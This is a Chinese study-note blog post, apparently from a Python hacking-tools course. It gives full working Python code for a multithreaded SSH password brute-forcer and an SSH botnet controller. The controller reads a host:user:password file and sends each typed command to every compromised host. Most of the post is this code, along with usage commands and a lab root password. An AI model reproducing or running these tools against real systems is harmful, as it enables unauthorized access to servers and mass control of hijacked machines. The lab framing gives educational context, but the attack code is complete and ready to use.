Python编写渗透工具学习笔记二 | 0x03用python构建ssh僵尸网络

时间:2022-04-27
本文章向大家介绍Python编写渗透工具学习笔记二 | 0x03用python构建ssh僵尸网络,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

0x03用python构建ssh僵尸网络

1用pxssh暴力破解ssh密码

因为默认情况下只有linux有ssh服务,所以此脚本只适用于在linux下使用

  • 靶机 10.10.10.128 kali64
  • 攻击机 10.10.10.134 kali2

先要在攻击机上安装好pexpect模块,注意pxssh是pexpect的一个子类,所以需要这样引入(网上会有很多直接 import pxssh的,感觉这样是错误的,反正我是不行,不知道别人怎么做的)应该这样去导入pxssh库

From pexpect import pxssh

而不能直接 import pxssh(之前我也误以为pxssh是一个单独的模块,单独引入不能成功,又下载不了pxssh模块,后来才知道原来pxssh是pexpect的一个子类,只需要下载pexpect模块即可)

Kali下下载pexpect模块的方法:

1、安装easy_install工具

wget http://peak.telecommunity.com/dist/ez_setup.py

python ez_setup.py -U setuptools

2、安装pexpect

easy_install Pexpect

脚本利用演示

先要在kali64中开启ssh服务

service ssh start

Pass.txt中(其中541766184为正确密码)

注意:这里运行本脚本的机器其实是kali2,因为这台虚拟机我是由kali64克隆下来的,还没有改掉名字,所以这里显示的是kali64,但实际上是kali2这台机子

python 3sshBrute.py -H 10.10.10.128 -u root -F pass.txt

脚本代码的实现和分析

#简单说明s.sendline() s.prompt()的使用

2

构建ssh僵尸网络

先创建一个僵尸类,要先连接上每一台僵尸机,然后把实现同时向批量的僵尸机发布命令的功能。我们要定义一个botNet全局数组记录僵尸机对象,并编写一个addClient方法,它输入的是主机名,用户名,密码,并以此实例化一个僵尸机对象,并把它添加到boNet数组中,接下来的botnetCommand函数要带上一个参数--要发布的命令,这个函数遍历整个数组,把命令发送到botNet数组的每个僵尸机对象上。

批量连接僵尸--批量发布命令

python 3botNet.py

3

进一步修改完善代码

先是将僵尸主机的信息都保存在一个文件中,以:号将三类信息分割开,从而脚本可以方便地通过读取文件中的僵尸主机信息,同时脚本也实现了批量命令行交互的形式,每次输入一条命令,所有的僵尸主机都会去执行从而返回命令结果。

python botNet2.py -f botnet.txt

4

工具完整代码

#构建僵尸网络

#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
from pexpect import pxssh
#定义一个僵尸机类
class Client:
    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()
    #连接上僵尸机
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'
    #向每一台僵尸机都发送这个命令
    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before
#遍历所有僵尸机,并向他们发布命令
def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        print '[+] ' + output 
#实例化一个僵尸机对象并把他们添加到boNet数组里
def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)
#建立一botNet全局数组,其中记录了单个僵尸机对象
botNet = []
#实例化一个僵尸机对象并把他们添加到boNet数组里
addClient('10.10.10.128', 'root', '541766184')
addClient('10.10.10.134', 'root', '541766184')
#要发布的命令
botnetCommand('uname -v')
botnetCommand('cat /etc/issue')
#!/usr/bin/python  
#coding=utf-8  
import optparse  
from pexpect import pxssh  
import optparse  
botNet=[]  
#定义一个用于存放host的列表以便判断当前host之前是否已经添加进botNet中了  
hosts = []  
#定义一个客户端的类  
class Client(object):  
    """docstring for Client"""  
    def __init__(self, host, user, password):  
        self.host = host  
        self.user = user  
        self.password = password  
        self.session = self.connect()  
    def connect(self):  
        try:  
            s = pxssh.pxssh()  
            s.login(self.host,self.user,self.password)  
            return s  
        except Exception, e:  
            print e  
            print '[-] Error Connecting'  
    def send_command(self, cmd):  
        self.session.sendline(cmd)  
        self.session.prompt()  
        return self.session.before  
def botnetCommand(cmd, k):  
    for client in botNet:     
        output=client.send_command(cmd)  
        #若k为True即最后一台主机发起请求后就输出,否则输出会和之前的重复  
        if k:  
            print '[*] Output from '+client.host  
            print '[+] '+output+'n'  
def addClient(host,user,password):  
    if len(hosts) == 0:  
        hosts.append(host)  
        client=Client(host,user,password)  
        botNet.append(client)  
    else:  
        t = True  
        #遍历查看host是否存在hosts列表中,若不存在则进行添加操作  
        for h in hosts:  
            if h == host:  
                t = False  
        if t:  
            hosts.append(host)  
            client=Client(host,user,password)  
            botNet.append(client)  
def main():  
    parser=optparse.OptionParser('Usage : ./botNet.py -f <botNet file>')  
    parser.add_option('-f',dest='file',type='string',help='specify botNet file')  
    (options,args)=parser.parse_args()  
    file = options.file  
    if file==None:  
        print parser.usage  
        exit(0)  
    #计算文件行数,不能和下面的f用同一个open()否则会出错  
    count = len(open(file,'r').readlines())  
    while True:  
        cmd=raw_input("<SSH> ")  
        k = 0  
        f = open(file,'r')  
        for line in f.readlines():  
            line = line.strip('n')  
            host = line.split(':')[0]  
            user = line.split(':')[1]  
            password = line.split(':')[2]  
            k += 1  
            #这里需要判断是否到最后一台主机调用函数,
            #因为命令的输出结果会把前面的所有结果都输出从而会出现重复输出的情况  
            if k < count:  
                addClient(host,user,password)  
                #不是最后一台主机请求,则先不输出命令结果  
                botnetCommand(cmd,False)  
            else:  
                addClient(host,user,password)  
                #最后一台主机请求,则可以输出命令结果  
                botnetCommand(cmd,True)  
if __name__ =='__main__':  
    main()  

#用pxssh暴力破解ssh密码

pxssh提供login() logout() prompt()等函数直接

与ssh进行交互

首先先创建一个对象p=pxssh.pxssh(),然后登陆p.login(host,username,password)

连接成功进行下一步,不成功会报错,还可以p.sendline()---发送命令行命令

prompt 的英文是 提示; 提示符 的意思 原始的 prompt 为'$' , '#'或'>'

p.prompt()表示匹配 prompt

print p.before 将 prompt 前所有内容打印出,即命令 ' ls -l ' 的执行结果.

#-*-coding:utf-8-*-
from pexpect import pxssh#
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = 0
Fails = 0
def connect(host, user, password, release):
#注意:在connect()的参数里有个布尔量release,由于connect()可以递归地调用另一个connect(),
#我们必须让只有不是由connect()递归调用的connect()函数才能够释放锁connect_lock,否则会出乱子
#也就是要让父级的connect函数来释放锁connect_lock---这样说都不懂的话只能自己补补基础知识了~~
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        #如果密码不正确或者出错了,这一步就会跳进except了,只有当密码正确的时候才会执行下面的print以及Found=True
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = 1
    except Exception, e:
        Fails += 1
        #如果异常显示socket为'read_nonblocking' ,可能是ssh服务器被大量的连接刷爆了
        #可以稍定片刻后再使用相同的密码重试
        if 'read_nonblocking' in str(e):
            time.sleep(5)
            #子级递归的connect函数传递的release为false,防止递归的connect函数释放该锁
            #目的是为了让多线程有秩序的进行 防止出乱子
            connect(host, user, password, False)
        #这句同样的道理
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        #由父级的connect()来释放锁定的资源
        if release: connection_lock.release()
def main():
    #opt交互模块 定义脚本使用说明解析命令行参数
    parser = optparse.OptionParser('usage %prog '+'-H <target host> -u <user> -F <password list>')
    parser.add_option('-H', dest='tgtHost', type='string',help='specify target host')
    parser.add_option('-F', dest='passwdFile', type='string',help='specify password file')
    parser.add_option('-u', dest='user', type='string',help='specify the user')
    (options, args) = parser.parse_args()#取出命令行输入的参数
    #相应地赋值
    host = options.tgtHost
    passwdFile = options.passwdFile
    user = options.user
    #主机 密码 用户名 只要有一个为空就输出脚本使用说明
    if host == None or passwdFile == None or user == None:
        print parser.usage
        exit(0)       
    #读取密码    
    fn = open(passwdFile, 'r')
    #逐行读取
    for line in fn.readlines():
        if Found:
            print "[*] Exiting: Password Found"
            exit(0)
            if Fails > 5:
                print "[!] Exiting: Too Many Socket Timeouts"
                exit(0)
        #线程锁  防止多线程执行出乱子
        connection_lock.acquire()
        password = line.strip('r').strip('n')#一行一行的读取密码
        print "[-] Testing: "+str(password)
        #创建一个新的线程 多线程编程 调用target指定的函数 后面是向target指定的函数传入的参数
        t = Thread(target=connect, args=(host, user,password, True))
        child = t.start()
if __name__ == '__main__':
    main()

拓展知识:

#线程锁的作用:锁定资源,防止多线程执行出乱子,确保一次只有一个线程在调用该资源,

为了解决“多线程执行的不安全性”的问题,防止程序在执行了"某个线程

的一半的时候就暂停,转而去执行其他的线程"的情况的发生,这是多线程占用一个公共对象时的情况。

我们使用lock.acquire()获得了这个锁。此时,其他的线程就无法再获得该锁了,

他们就会阻塞在“if lock.acquire()”这里,直到锁被另一个线程释放:lock.release()。

如果多个线程要调用多个对象,而A线程调用A锁占用了A对象,B线程调用了B锁占用了B对象,

A线程不能调用B对象,B线程不能调用A对象,于是一直等待。这就造成了线程“死锁”。

可使用threading的RLock类(重入锁)来解决部分死锁的问题